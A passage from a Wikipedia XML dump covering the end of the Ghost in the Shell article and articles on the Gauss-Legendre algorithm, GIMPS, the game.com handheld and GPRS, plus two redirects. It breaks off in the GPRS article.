The need for external memory is also a philosophical hurdle for the members of Section 9. They are, after all, a watchdog group mandated with rooting out cases of cyber-brain crime. Kusanagi shuns the accumulation of trinkets (beyond the watch she wears in Stand Alone Complex). Being an expert in ghost-hacking and the workings of the cyber-brain, she considers these to be a sign of weakness that can be easily read by enemies. In an age when a detective can reconstruct a person's psyche based on study of their external memory Kusanagi has a sound position.

Batou, on the other hand, is sentimental. He keeps a pet dog, has safe houses full of books and art, and even has a favorite Fuchikoma/Tachikoma to work with. Though they may be a fatal tell of one's living habits in his line of work he still clings to such comforts.

==Related works==
===Sequel===
{{main|Ghost in the Shell 2: Man/Machine Interface}}
A continuation (somewhat) of the manga and first movie storyline can be found in the second part of the manga entitled ''[[Ghost in the Shell 2: Man/Machine Interface]]''.

===Film and TV adaptations===
{{main articles|[[Ghost in the Shell (film)]] and [[Ghost in the Shell 2: Innocence]]}}

The anime film adaptation is directed by [[Mamoru Oshii]]; fans debate the extent to which it is a oversimplification of the manga's themes, or whether it is a more serious interpretation with its own integrity. A second feature, ''[[Ghost in the Shell 2: Innocence]]'' was also directed by Oshii and places the character of Batou in the lead role. 

There is also a TV series, ''[[Ghost in the Shell: Stand Alone Complex]]''.

===Video  games===
{{main|Ghost in the Shell (video game)|game}}
One self-titled [[video game console|console]] [[Ghost in the Shell (video game)|game]] has already been produced for the series, developed by [[Exact]] and published by [[THQ]].  A second one bearing the series title ''[[Ghost in the Shell: Stand Alone Complex (video game)|Stand Alone Complex]]'' was released in [[November 2004]], developed by [[Sony|SCEJ]] and [[Cavia (game developer)|Cavia]] and published by [[Bandai]].

==Impact and influence==
[[Image:Gits-katsuragi-camouflage.jpeg|right|thumb|Major Kusanagi using optical camouflage (from ''[[Ghost in the Shell: Stand Alone Complex]]'') ]]
''Ghost in the Shell'' has made a significant impact in fiction and the real world alike.

''[[The Matrix]]'', a very successful [[1999]] sci-fi action movie, contains imagery apparently influenced by this movie (as well as other anime).  For example, the opening scene with green digits resembles the opening of ''Ghost in the Shell''. During the opening scene in which [[Trinity (Matrix character)|Trinity]] flees the [[Agents (The Matrix)|Agents]], the shot of the Agent landing on the roof is almost identical to a shot of Kusanagi during the pursuit of the first 'puppet'. [http://webmirror.kobran.org/matrixgits/] Also, the shot in which the first puppet is fleeing Batou in the market and a similar cut where [[Neo (Matrix character)|Neo]] is fleeing the trio Agents in a real life market are linked by exploding watermelons and terrified civilians amongst crossfire (although Neo is not armed). The famous lobby shootout features [[Neo (Matrix character)|Neo]] and [[Trinity (Matrix character)|Trinity]] taking cover behind stone pillars, just as Kusanagi does during the battle with a tank. There is also a clear relation between the conception of the Matrix and the cybernetically enhanced brains of ''Ghost in the Shell''. (The [[Wachowski brothers]], makers of the ''Matrix'' trilogy, acknowledged the influence of ''Ghost in the Shell'' in an interview. [http://www.warnervideo.com/matrixevents/wachowski.html])

== Book references (manga) ==
*''The Ghost In The Shell (Kokaku Kidotai)'' : Publisher: [[Kodansha]] (KCDX) ISBN 4-06-313248-X C9979 Release: [[5 October]] [[1991]], original Japanese
*''Ghost In The Shell (English Edition)'' : Publisher: [[Dark Horse Comics]] / Studio Proteus ISBN 1-56971-081-3, Release: December 1995, English adaptation
*''Ghost In The Shell 2: Man/Machine Interface (English Edition Sequel)'' : Publisher: [[Dark Horse Comics]] / Studio Proteus ISBN 159307204X, Release: Dark Horse (January 19, 2005), English adaptation

==External links==
* {{imdb title|id=0113568|title=Ghost in the Shell}}
*[http://www.manga.com/ghost/ Official Film Site At Manga.com]
*[http://biphome.spray.se/masterlink/glossary.html Glossary of terms]
&lt;!--&quot;in&quot; is intended to be lowercase, see the site--&gt;
*[http://www.neomythos.com/intheshell/index.shtml ''in the Shell''] — general information, philosophy, links
*[http://www.geocities.com/Tokyo/Island/3102/ghost.htm &quot;The Soul of the New Machine&quot;] — A review originally published in FILM COMMENT magazine, September 1996
*[http://www.kyo-kan.net/oshii-ig/gits/  Japanese Fansite]
*[http://anidb.info/perl-bin/animedb.pl?show=rel&amp;aid=61 GITS Relations] — A graphical representation of the relations between the different series and movies from the ''GITS'' universe
*[http://www.mangareviewer.com/?page_id=43 BAOH manga review at Mangareviewer.com]
*[http://www.sensesofcinema.com/contents/cteq/00/6/ghost.html Review at sensesofcinema.com]
*[http://www.animegalleries.net/category/54 ''Ghost in the Shell'' Image Collection @ AnimeGalleries.Net]
*[http://www.standalonecomplex.co.nr ''Stand Alone Complex''] — ''Ghost in the Shell'' Forums 

{{Ghost in the Shell}}

[[Category:Anime series]]
[[Category:Cyberpunk]]
[[Category:Ghost in the Shell|*]]
[[Category:Graphic novels]]
[[Category:Japanese films]]
[[Category:Manga series]]
[[Category:Science fiction comics]]
[[Category:Japanese television series]]

[[de:Ghost in the Shell]]
[[es:Ghost in the Shell]]
[[fr:Ghost in the Shell]]
[[ko:공각기동대]]
[[it:Ghost in the shell]]
[[nl:Ghost in the Shell]]
[[ja:攻殻機動隊]]
[[pl:Ghost in the Shell]]
[[ru:Ghost in the Shell]]
[[sv:Ghost in the Shell]]
[[th:โกสต์อินเดอะเชลล์]]
[[zh:攻殼機動隊]]</text>
    </revision>
  </page>
  <page>
    <title>Guillain-Barre Syndrome</title>
    <id>12915</id>
    <revision>
      <id>15910564</id>
      <timestamp>2004-07-28T15:26:03Z</timestamp>
      <contributor>
        <username>Diberri</username>
        <id>35331</id>
      </contributor>
      <minor />
      <comment>REDIRECT [[Guillain-Barré syndrome]]</comment>
      <text xml:space="preserve">#REDIRECT [[Guillain-Barré syndrome]]</text>
    </revision>
  </page>
  <page>
    <title>Gauss-Legendre algorithm</title>
    <id>12916</id>
    <revision>
      <id>38061409</id>
      <timestamp>2006-02-03T22:31:47Z</timestamp>
      <contributor>
        <ip>67.9.71.250</ip>
      </contributor>
      <text xml:space="preserve">The '''Gauss-Legendre algorithm''' is an [[algorithm]] to compute the digits of [[Pi|&amp;pi;]]. 

The method is based on the individual work of [[Carl Friedrich Gauss]] ([[1777]]-[[1855]]) and [[Adrien-Marie Legendre]] ([[1752]]-[[1833]]) combined with modern algorithms for multiplication and square roots. It repeatedly replaces two numbers by their [[arithmetic mean|arithmetic]] and [[geometric mean]], in order to approximate their [[arithmetic-geometric mean]].

The version presented below is also known as the '''Brent-Salamin (or Salamin-Brent) algorithm'''; it was independently discovered in [[1975]] by [[Richard Brent (scientist) | Richard Brent]] and [[Eugene Salamin]]. It was used to compute the first 206,158,430,000 decimal digits of &amp;pi; on September 18 to 20, 1999, and the results were checked with [[Borwein's algorithm]]. 

1. Initial value setting:

:&lt;math&gt;a_0 = 1\qquad b_0 = \frac{1}{\sqrt{2}}\qquad t_0 = \frac{1}{4}\qquad p_0 = 1&lt;/math&gt;

2. Repeat the following instructions until the difference of &lt;math&gt;a_n&lt;/math&gt; and &lt;math&gt;b_n&lt;/math&gt; is within the desired accuracy: 

:&lt;math&gt;x_{n+1} = \frac{a_n + b_n}{2} \,&lt;/math&gt;
:&lt;math&gt;y_{n+1} = \sqrt{a_n b_n} \,&lt;/math&gt;
:&lt;math&gt;t_{n+1} = t_n - p_n(a_n - x_{n+1})^2 \,&lt;/math&gt;
:&lt;math&gt;a_{n+1} = x_{n+1} \,&lt;/math&gt;
:&lt;math&gt;b_{n+1} = y_{n+1} \,&lt;/math&gt;
:&lt;math&gt;p_{n+1} = 2p_n \,&lt;/math&gt;

3. &amp;pi; is approximated with &lt;math&gt;a_n&lt;/math&gt;, &lt;math&gt;b_n&lt;/math&gt; and &lt;math&gt;t_n&lt;/math&gt; as:

:&lt;math&gt;\pi \approx \frac{(a_n+b_n)^2}{4t_n} \,&lt;/math&gt;

The algorithm has second order convergent nature, which essentially means that the number of correct digits doubles with each step of the algorithm.

==See also==
*[[Borwein's algorithm]]

[[Category:Pi algorithms]]
[[ja:&amp;#12460;&amp;#12454;&amp;#12473;&amp;#65309;&amp;#12523;&amp;#12472;&amp;#12515;&amp;#12531;&amp;#12489;&amp;#12523;&amp;#12398;&amp;#12450;&amp;#12523;&amp;#12468;&amp;#12522;&amp;#12474;&amp;#12512;]]</text>
    </revision>
  </page>
  <page>
    <title>Great Internet Mersenne Prime Search</title>
    <id>12917</id>
    <revision>
      <id>41613864</id>
      <timestamp>2006-02-28T14:53:13Z</timestamp>
      <contributor>
        <username>FlaBot</username>
        <id>228773</id>
      </contributor>
      <minor />
      <comment>robot  Adding: sv</comment>
      <text xml:space="preserve">The '''Great Internet Mersenne Prime Search''', or '''GIMPS''', is a collaborative project of volunteers, who use [[Prime95]] and [[MPrime]], special [[software]] that can be downloaded from the [[Internet]] for free, in order to search for [[Mersenne prime|Mersenne prime numbers]]. The project was founded and the prime testing software was written by [[George Woltman]]. [[Scott Kurowski]] wrote the PrimeNet [[server]] that supports the research to demonstrate [[Entropia]] distributed computing software, a company he founded in 1997.

This project has been rather successful: it has already found a total of nine Mersenne [[prime number|primes]], each of which was the largest known prime at the time of discovery. The largest known prime [[as of 2005|as of December 2005]] is 2&lt;sup&gt;30,402,457&lt;/sup&gt;&amp;nbsp;&amp;minus;&amp;nbsp;1 (or [[Mersenne Prime#List of Mersenne primes|M30402457]] in short). This prime was discovered on [[December 15]], [[2005]]. Refer to the article on [[Mersenne prime]] numbers for the complete list of GIMPS successes.

As of December 2005, GIMPS has a sustained throughput of approximately 18 [[FLOPS|TFLOPS]], earning the GIMPS [[virtual machine|virtual computer]] a firm place among the most powerful [[supercomputer]]s in the world.

Although the GIMPS software has its source code available, technically it is not [[open source]], since it has a restriction which most open source/[[free software]] groups find unacceptable &amp;ndash; users must abide by the prize distribution terms. This restriction will become meaningless when the [[Electronic Frontier Foundation|EFF]] [http://www.eff.org/awards/coop.php prizes] are claimed.

For open source alternatives, [ftp://ftp.oxixares.com/pub/glucas/snapshots Glucas] and [ftp://hogranch.com/pub/mayer/src/C/ Mlucas] are both licensed under the GPL.

==Primes found==

All primes are in the form M''n'', where ''n'' is the exponent. The prime number itself is &lt;math&gt;2^n - 1&lt;/math&gt;.

{| class=&quot;wikitable&quot;
|- bgcolor=&quot;#CCCCCC&quot;
! Discovery date || Prime || Digits
|-
| [[15 December]], 2005 || M30 402 457 || 9152052
|- 
| [[18 February]], 2005 || M25 964 951 || 7816230
|- 
| [[15 May]], 2004 || M24 036 583 || 7235733
|- 
| [[17 November]], 2003 || M20 996 011 || 6320430
|- 
| [[14 November]], 2001 || M13 466 917 || 4053946
|- 
| [[01 June]], 1999 || M6 972 593 || 2098960
|- 
| [[27 January]], 1998 || M3 021 377 || 909526
|- 
| [[24 August]], 1997 || M2 976 221 || 895932
|- 
| [[13 November]], 1996 || M1 398 269 || 420921
|}

==See also==
* [[George Woltman]]
* [[Scott Kurowski]]
* [[Entropia]]
* [[Mathematics]]
* [[List of distributed computing projects]]
* [[Distributed computing]]
* [[Prime95]]
* [[MPrime]]

==External links==
* [http://www.mersenne.org/ www.mersenne.org] &amp;ndash; GIMPS Home Page
* [http://www.mersenneforum.org/ www.mersenneforum.org] &amp;ndash; GIMPS Forum
* [http://mersenne.org/primenet/ PrimeNet server] 
* [http://mersennewiki.org/index.php/Main_Page Mersenne Wiki]

[[Category:Distributed computing]]
[[Category:Prime numbers]]

[[da:Great Internet Mersenne Prime Search]]
[[fr:Great internet Mersenne prime search]]
[[ko:GIMPS]]
[[it:GIMPS]]
[[ja:GIMPS]]
[[pl:Great Internet Mersenne Prime Search]]
[[ru:GIMPS]]
[[sk:GIMPS]]
[[fi:GIMPS]]
[[sv:GIMPS]]
[[zh:GIMPS]]</text>
    </revision>
  </page>
  <page>
    <title>Gediminas</title>
    <id>12918</id>
    <revision>
      <id>37104369</id>
      <timestamp>2006-01-28T18:30:27Z</timestamp>
      <contributor>
        <username>Renata3</username>
        <id>320236</id>
      </contributor>
      <comment>fix double redir</comment>
      <text xml:space="preserve">#REDIRECT [[Gediminas, Grand Duke of Lithuania]]</text>
    </revision>
  </page>
  <page>
    <title>Game.com</title>
    <id>12919</id>
    <revision>
      <id>42133469</id>
      <timestamp>2006-03-04T01:12:24Z</timestamp>
      <contributor>
        <username>Nintendude</username>
        <id>584148</id>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">{{CVG system| title = game.com
|logo =
|image = [[Image:Gamecomwithbox.JPG|200px|Tiger's game.com]]
|manufacturer = [[Tiger Electronics]]
|type = [[handheld game console]]
|generation = 
|lifespan = [[September 1997]] - [[2000]]
|media = [[cartridge (electronics)|cartridge]]
|conrollers =
|onlineservice = 14.4 [[kbps]] [[modem]]
|unitssold =
|topgame = ''[[Lights Out (game)|Lights Out]]''
}}
{{lowercase|title=game.com}}

The '''game.com''' (pronounced in TV commercials as &quot;game com&quot;, not &quot;game dot com&quot; and not capitalized in marketing material) was a [[handheld game console]] released by [[Tiger Electronics]] in [[September 1997]]. Although aimed at an older [[target audience]], sporting [[Personal Digital Assistant|PDA]]-style features and functions such as a [[touch screen]] and [[Stylus#Modern use|stylus]], Tiger hoped it would challenge [[Nintendo]]'s [[Game Boy]]. Unlike other handheld game consoles, the first game.com consoles included two slots for game [[Cartridge (electronics)|cartridge]]s and could be connected to a 14.4 [[kbps]] [[modem]]. Later models reverted to a single cartridge slot.

==History==
[[Image:Tigergamecom.jpg|left|thumb|game.com]]
Titles released at game.com's launch included ''[[Indy 500]]'', ''[[Duke Nukem 3D]]'' and ''[[Mortal Kombat Trilogy]]'', along with ''[[Lights Out (game)|Lights Out]]'' which came packaged with the system. Tiger also produced equivalents to many Game Boy peripherals, such as the compete.com [[serial]] cable allowing players to connect their consoles to play multiplayer games or exchange high scores. [[Brand]]ed items such as an [[AC adapter]], [[earphones]] and carry-case were also made available.

Unfortunately, many of the game.com's exclusive features had only limited functionality. The touch screen had a fairly low sensor resolution, so was hard to use it for precise input in games and few players made use of the PDA functions to keep phone numbers, addresses or the like. Furthermore, the failure of the built-in backup [[battery (electricity)|battery]] would erase any high scores or information stored on the console.
&lt;!-- Copyedited to here, [[20 November]] [[2005]] --&gt;

Tiger mostly botched the job of marketing the game.com to an older audience. While they were able to line up licenses like [[Mortal Kombat]], [[Duke Nukem 3D|Duke Nukem]], and [[Resident Evil]], few of these portable adaptations were developed by their original creators, or even very true to the original games. Most game development, even on licensed games, was done in-house. As such, SDKs were not known to be widely available.

At the time, the platform was almost completely ignored by the enthusiast gaming press. Tiger also used insulting marketing, including ill-considered slogans such as, &quot;It plays more games than you slackers have brain cells.&quot;

In an effort to revitalize their ailing system, [[Tiger Electronics|Tiger]] would later release the '''game.com Pocket Pro'''. This was a smaller version of the game.com which had the same specifications as the original except that it had a single cartridge slot and required only two [[Battery (electricity)|AA batteries]]. The initial version of the Pocket Pro featured a backlit screen and is distinguished by its rough-textured black case. A subsequent re-release omitted the backlight and came in four translucent colors (green, blue, pink, and purple).

This re-release enjoyed very limited success, and the console would be cancelled in [[2000]], along with its exclusive ISP.  Most of its problems were due to a small lineup (only 20 games), poor distribution, and poor marketing.  Notably, its display, like the original Game Boy's, suffered from very slow screen updates (known as &quot;ghosting&quot;), which particularly hurt the fast-paced games Tiger sought licenses for.

When game.com was discontinued, no handheld games console would be made with a touchscreen until the coming of the [[Nintendo DS]].

==Internet features==
[[Image:GameComWebstuff.jpg|right|thumb|game.com modem and internet cartridges]]
Using the game.com with the [[modem]] was cumbersome. The user had to insert the game.com modem into one of the unit's game cartridge slots, connect the game.com to a phone jack, and dial into the game.com-exclusive (and fairly expensive) [[internet service provider|ISP]]. From there, the user could upload saved high scores, or check [[e-mail]] and view the [[World Wide Web|web]] if they had the Internet cartridge (sold separately from the modem). This process would end up being a matter of trial-and-error; both Tiger's now-defunct website and the included manual gave incorrect instructions for setting up a game.com for internet access.

Web access was text-only, and the later, single-cartridge versions of the game.com could not access the web or send e-mail at all. No games had actual online play with other people, only high score uploads.  The monthly fee, two extra peripherals, and exceedingly confusing setup required meant that only a small percentage of the admittedly few game.com owners had a subscription to the game.com internet service, which would barely survive until the cancellation of the handheld itself.

==Technical specifications==
&lt;table class=&quot;wikitable&quot;&gt;
&lt;tr&gt;&lt;td&gt;Original System Size&lt;/td&gt;&lt;td&gt;7.5”L x 4.25”W x .75&quot;D&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Processor Chip&lt;/td&gt;&lt;td&gt;Sharp sm8521 8-Bit CPU&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Screen Specs&lt;/td&gt;&lt;td&gt;3.9 square inches, 13 x 10 grid based touch screen. 200 x 160 resolution&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Color System&lt;/td&gt;&lt;td&gt;Black and White, with 4 gray levels&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;nowiki&gt;Sound/Music&lt;/nowiki&gt; &lt;/td&gt;&lt;td&gt;Mono, single speaker, located in the upper left corner&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Power Source&lt;/td&gt;&lt;td&gt;4 AA Batteries (2 AA batteries in Pocket and Pocket Pro) or AC Adapter&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Ports&lt;/td&gt;&lt;td&gt;Serial Comm Port for the Compete.com cable, internet cable and weblink cable;
3.5mm Audio In Jack for headphones;
DC9V in (AC Adapter);
2 Cartridge Slots (1 on the Pocket and Pocket Pro)
&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Buttons&lt;/td&gt;&lt;td&gt;Power (&lt;nowiki&gt;On/Off&lt;/nowiki&gt;);
Action (A, B, C, D);
3 Function (Menu, Sound, Pause);
1 Eight-way Directional Pad;
Volume;
Contrast; 
Reset (On system’s underside)&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;

==Games==
===Released===
* ''[[Batman and Robin]]''
* ''[[Centipede (video game)|Centipede]]''
* ''[[Duke Nukem 3D]]''
* ''[[Fighters MegaMix]]''
* ''[[Frogger]]''
* ''[[Henry]]''
* ''[[Indy 500]]''
* ''[[Jeopardy!]]''
* ''[[Lights Out (game)|Lights Out]]'' (shipped with new game.com handhelds; never sold separately)
* ''[[The Lost World: Jurassic Park]]''
* ''[[Monopoly (game)|Monopoly]]''
* ''[[Mortal Kombat Trilogy]]''
* ''[[Quiz Whiz: Cyber Trivia]]''
* ''[[Resident Evil 2]]''
* ''[[Scrabble]]''
* ''[[Sonic Jam]]''
* ''[[Tiger Casino]]''
* ''[[Wheel of Fortune]]''
* ''[[Wheel of Fortune 2]]''
* ''[[Williams Arcade Classics]]''

[[Internet]] connection accessories for the game.com were also released, including &quot;game.com Internet&quot; and &quot;Tiger Web Link&quot; carts.

===Canceled titles===
* ''[[A Bug's Life]]''
* ''[[Castlevania: Symphony of the Night]]'' 
* ''[[Command and Conquer: Red Alert]]''
* ''[[Deer Hunter]]''
* ''[[Furbyland]]'' 
* ''[[GigaPets Deluxe]]'' 
* ''[[Godzilla]]'' 
* ''[[Holyfield Boxing]]'' 
* ''[[Madden '99|Madden Football '99]]'' 
* ''[[Metal Gear Solid]]'' 
* ''[[Mulligan's Golf Challenge]]''
* ''[[Mutoids]]'' 
* ''[[Name That Tune]]'' 
* ''[[NASCAR Racing]]''
* ''[[NBA Hangtime]]''
* ''[[NBA Live '99]]''
* ''[[Pocket Fisherman]]''
* ''[[The Price is Right]]''
* ''[[Rugrats]]''
* ''[[Small Soldiers]]''
* ''[[Turok: Dinosaur Hunter]]''
* ''[[WCW Wrestling]]''
* ''[[The X-Files]]''

Additionally, an unnamed (and unannounced) [http://www.coxhomestead.com/slight/compendium/archive/wyvern/index.html RPG title] can be seen in one of the [http://www.coxhomestead.com/slight/compendium/archive/_gamecom/index.html game.com television commercials].

Notably, some of these canceled titles (including ''GigaPets'', ''Madden'', and the NBA titles) were to have a [[battery backup]] built into the cartridge to allow for persistent [[saved game]] states. It was also rumored that the boxing title would have a built-in [[force feedback]] device, similar to the [[Nintendo 64]] [[Rumble Pak]]. However, none of these specially equipped cartridges were ever released to the public.

''Furbyland'' and ''Mutoids'' were widely assumed to be Tiger-developed [[computer role-playing games|role-playing games]] as a response to Nintendo's wildly popular ''[[Pokémon]]'' franchise, but little information beyond their intended release was ever made public.

==Community==

A game.com enthusiast with [[Usenet]] access created the [[newsgroup]] [news://alt.games.video.tiger.game-com alt.games.video.tiger.game-com] (Google Groups link below) shortly after the handheld's release in 1997. This group served as a focus point for game.com owners, with often-heated discussion about the handheld's future and merits relative to other systems; as well as reviews of existing games and speculation about future releases. Tiger representatives sometimes posted using the now-defunct [[America Online]] account &quot;TigerGcom.&quot; At one point, a gameplay video of the never-released Metal Gear Solid was distributed among group members. Most of the information about unreleased games herein was gleaned from postings to alt.games.video.tiger.game-com.

==Hacking and Homebrew Development==

In early [[2005]], a group called [http://gamecom.guruwork.de game.commies] was formed with hopes of hacking the game.com hardware and creating new [[homebrew (video games)|homebrew video games]].

==External links==
*[http://www.coxhomestead.com/slight/compendium Slight's Compendium]
*[http://groups-beta.google.com/group/alt.games.video.tiger.game-com?start=2356 Google's archive of alt.games.video.tiger.game-com]
*[http://www.bripro.com/low/gamecom/index.php Some technical information obtained by reverse engineering]

{{dedicated video game handheld consoles}}
[[Category:Handheld game consoles]]
[[Category:Fifth-generation video game consoles]]
[[Category:Computer and video game flops]]
[[Category:Monochrome video game consoles]]</text>
    </revision>
  </page>
  <page>
    <title>General Packet Radio Service</title>
    <id>12920</id>
    <revision>
      <id>41165522</id>
      <timestamp>2006-02-25T13:38:49Z</timestamp>
      <contributor>
        <ip>84.41.133.163</ip>
      </contributor>
      <comment>/* GPRS in practice */</comment>
      <text xml:space="preserve">{{Table Mobile phone standards}}

'''General Packet Radio Service (GPRS)''' is a [[GSM services|mobile data service]] available to users of [[GSM]] [[mobile phone]]s.  It is often described as &quot;[[2.5G]]&quot;, that is, a technology between the second ([[2G]]) and third ([[3G]]) generations of mobile telephony.  It provides moderate speed data transfer, by using unused [[TDMA]] channels in the [[GSM]] network. Originally there was some thought to extend GPRS to cover other standards, but instead those networks are being converted to use the GSM standard, so that is the only kind of network where GPRS is in use. GPRS is integrated into GSM standards releases starting with [[Release 97]] and onwards. First it was standardised by [[ETSI]] but now that effort has been handed onto the [[3GPP]]. 



== GPRS basics ==
GPRS is different from the older [[Circuit Switched Data]] (or CSD) connection included in GSM standards releases before [[Release 97]] (from [[1997]], the year the standard was [[feature freeze|feature frozen]]). In CSD, a data connection establishes a circuit, and reserves the full bandwidth of that circuit during the lifetime of the connection. GPRS is [[packet-switched]] which means that multiple users share the same transmission channel, only transmitting when they have data to send. This means that the total available bandwidth can be immediately dedicated to those users who are actually sending at any given moment, providing higher utilisation where users only send or receive data intermittently. Web browsing, receiving e-mails as they arrive and [[instant messaging]] are examples of uses that require intermittent data transfers, which benefit from sharing the available bandwidth. 

Usually, GPRS data are billed per kilobytes of information transceived while circuit-switched data connections are billed per second. The latter is to reflect the fact that even during times when no data are being transferred, the bandwidth is unavailable to other potential users.

GPRS originally supported (in theory) [[Internet protocol|IP]], [[Point-to-Point Protocol|PPP]] and [[X.25]] connections. The latter has been typically used for applications like wireless payment terminals although it has been removed as a requirement from the standard. X.25 can still be supported over PPP, or even over IP, but doing this requires either a router to do encapsulation or intelligence built into the end terminal.

=== GPRS speeds and profile ===

Packet-switched data under GPRS is achieved by allocating unused cell bandwidth to transmit data. As dedicated voice (or data) channels are setup by phones, the bandwidth available for packet switched data shrinks. A consequence of this is that packet switched data has a poor bit rate in busy cells. The theoretical limit for packet switched data is approx. 160.0 kbit/s (using 8 time slots and CS-4). A realistic bit rate is 30&amp;ndash;80&amp;nbsp;[[kbit/s]], because it is possible to use max 4 time slots for downlink. A change to the radio part of GPRS called [[Enhanced Data Rates for GSM Evolution|EDGE]] allows higher bit rates of between 160 and 236.8&amp;nbsp;kbit/s. The maximum data rates are achieved only by allocation of more than one time slot in the TDMA frame. Also, the higher the data rate, the lower the error correction capability. Generally, the connection speed drops logarithmically with distance from the base station. This is not an issue in heavily populated areas with high cell density, but may become an issue in sparsely populated/rural areas.

=== The GPRS Capability Classes===

; Class A : Can be connected to GPRS service and GSM service (voice, SMS), using both at the same time. No such devices are known to be available today.
; Class B : Can be connected to GPRS service and GSM service (voice, SMS), but using only one or the other at a given time. During GSM service (voice call or SMS), GPRS service is suspended, and then resumed automatically after the GSM service (voice call or SMS) has concluded. Most GPRS mobile devices are Class B.
; Class C : Are connected to either GPRS service or GSM service (voice, SMS). Must be switched manually between one or the other service.

===GPRS Multislot Classes===

GPRS speed is a direct function of the number of TDMA time slots assigned, which is the lesser of (a) what the particular cell supports and (b) the maximum capability of the mobile device expressed as a '''GPRS Multislot Class'''.

:{| border=&quot;1&quot;
! &amp;nbsp; Multislot Class &amp;nbsp;
! &amp;nbsp; Downlink Slots &amp;nbsp;
! &amp;nbsp; Uplink Slots &amp;nbsp;
! &amp;nbsp; Active Slots &amp;nbsp;
|-
| align=&quot;center&quot; | 1
| align=&quot;center&quot; | 1
| align=&quot;center&quot; | 1
| align=&quot;center&quot; | 2
|-
| align=&quot;center&quot; | 2
| align=&quot;center&quot; | 2
| align=&quot;center&quot; | 1
| align=&quot;center&quot; | 3
|-
| align=&quot;center&quot; | 3
| align=&quot;center&quot; | 2
| align=&quot;center&quot; | 2
| align=&quot;center&quot; | 3
|-
| align=&quot;center&quot; | 4
| align=&quot;center&quot; | 3
| align=&quot;center&quot; | 1
| align=&quot;center&quot; | 4
|-
| align=&quot;center&quot; | 5
| align=&quot;center&quot; | 2
| align=&quot;center&quot; | 2
| align=&quot;center&quot; | 4
|-
| align=&quot;center&quot; | 6
| align=&quot;center&quot; | 3
| align=&quot;center&quot; | 2
| align=&quot;center&quot; | 4
|-
| align=&quot;center&quot; | 7
| align=&quot;center&quot; | 3
| align=&quot;center&quot; | 3
| align=&quot;center&quot; | 4
|-
| align=&quot;center&quot; | 8
| align=&quot;center&quot; | 4
| align=&quot;center&quot; | 1
| align=&quot;center&quot; | 5
|-
| align=&quot;center&quot; | 9
| align=&quot;center&quot; | 3
| align=&quot;center&quot; | 2
| align=&quot;center&quot; | 5
|-
| align=&quot;center&quot; | 10
| align=&quot;center&quot; | 4
| align=&quot;center&quot; | 2
| align=&quot;center&quot; | 5
|-
| align=&quot;center&quot; | 11
| align=&quot;center&quot; | 4
| align=&quot;center&quot; | 3
| align=&quot;center&quot; | 5
|-
| align=&quot;center&quot; | 12
| align=&quot;center&quot; | 4
| align=&quot;center&quot; | 4
| align=&quot;center&quot; | 5
|}

The most common GPRS Multislot Classes are:
:; Class  2 : Minimal GPRS implementation
:; Class  4 : Modest GPRS implementation, 50% faster download than Class 2
:; Class  6 : Modest implementation, but with better uploading than Class 4
:; Class  8 : Better implementation, 33% faster download than Classes 4 &amp; 6
:; Class 10 : Better implementation, and with better uploading than Class 8, seen in better cell phones and PC Cards
:; Class 12 : Best implementation, with maximum upload performance, typically seen only in high-end PC Cards

===GPRS Coding===

Transfer speed depends also on the channel encoding used. The least robust (but fastest) encoding scheme (CS-4) is available near the Base Transceiver Station (BTS) while the most robust encoding scheme (CS-1) is used when the Mobile Station (MS) is further away from the BTS. 

Using the CS-4 it is possible to achieve a user speed of 20.0&amp;nbsp;[[kbit/s]] per time slot. However, using this scheme the cell coverage is 25% of normal. CS-1 can achieve a user speed of only 8.0 kbit/s per time slot, but has 98% of normal coverage. Newer network equipment can adapt the transfer speed automatically depending on the mobile location.

:{| border=&quot;1&quot;
! || &amp;nbsp; Speed (kbit/s) &amp;nbsp;
|-
| align=&quot;center&quot; | &amp;nbsp; CS-1 &amp;nbsp; || &amp;nbsp; &amp;nbsp; 8.0
|-
| align=&quot;center&quot; | CS-2 || &amp;nbsp; 12.0
|-
| align=&quot;center&quot; | CS-3 || &amp;nbsp; 14.4
|-
| align=&quot;center&quot; | CS-4 || &amp;nbsp; 20.0
|}

:{| border=&quot;1&quot;
! || &amp;nbsp; Download (kbit/s) &amp;nbsp; || &amp;nbsp; Upload (kbit/s) &amp;nbsp; 
|-
| &amp;nbsp; CSD || &amp;nbsp; &amp;nbsp; 9.6 || &amp;nbsp; &amp;nbsp; 9.6
|-
| &amp;nbsp; HSCSD || &amp;nbsp; 28.8 || &amp;nbsp; 14.4 (2+1)
|-
| &amp;nbsp; HSCSD || &amp;nbsp; 43.2 || &amp;nbsp; 14.4 (3+1)
|-
| &amp;nbsp; GPRS 4+1 || &amp;nbsp; 80.0 || &amp;nbsp; 20.0 (Class 8 &amp; 10 and CS-4) &amp;nbsp;
|-
| &amp;nbsp; GPRS 3+2 &amp;nbsp; || &amp;nbsp; 60.0 || &amp;nbsp; 40.0 (Class 10 and CS-4)
|}

Note: Like [[Circuit Switched Data|CSD]], [[HSCSD]] establishes a circuit and is usually billed per minute.  For an application such as [[downloading]], HSCSD may be preferred, since [[circuit-switched]] data are usually given priority over [[packet-switched]] data on a mobile network, and there are relatively few seconds when no data are being transferred.

GPRS is packet based. When [[Internet protocol suite|TCP/IP]] is used, each phone can have one or more [[IP address|IP addresses]] allocated. GPRS will store and forward the IP packets to the phone during cell handover (when you move from one cell to another). A radio noise induced pause can be interpreted by TCP as packet loss, and cause a temporary throttling in transmission speed.

==GPRS Services==

GPRS upgrades GSM data services providing:

*[[Point-to-point]] (PTP) service: internetworking with the Internet (IP protocols) and X.25 networks.
*[[Point-to-multipoint]] (PT2MP) service: point-to-multipoint multicast and point-to-multipoint group calls. 
*[[Short Message Service]] (SMS): bearer for SMS.
*Anonymous service: anonymous access to predefined services.
*Future enhancements: flexible to add new functions, such as more capacity, more users, new accesses, new protocols, new radio networks.

==GPRS in practice==

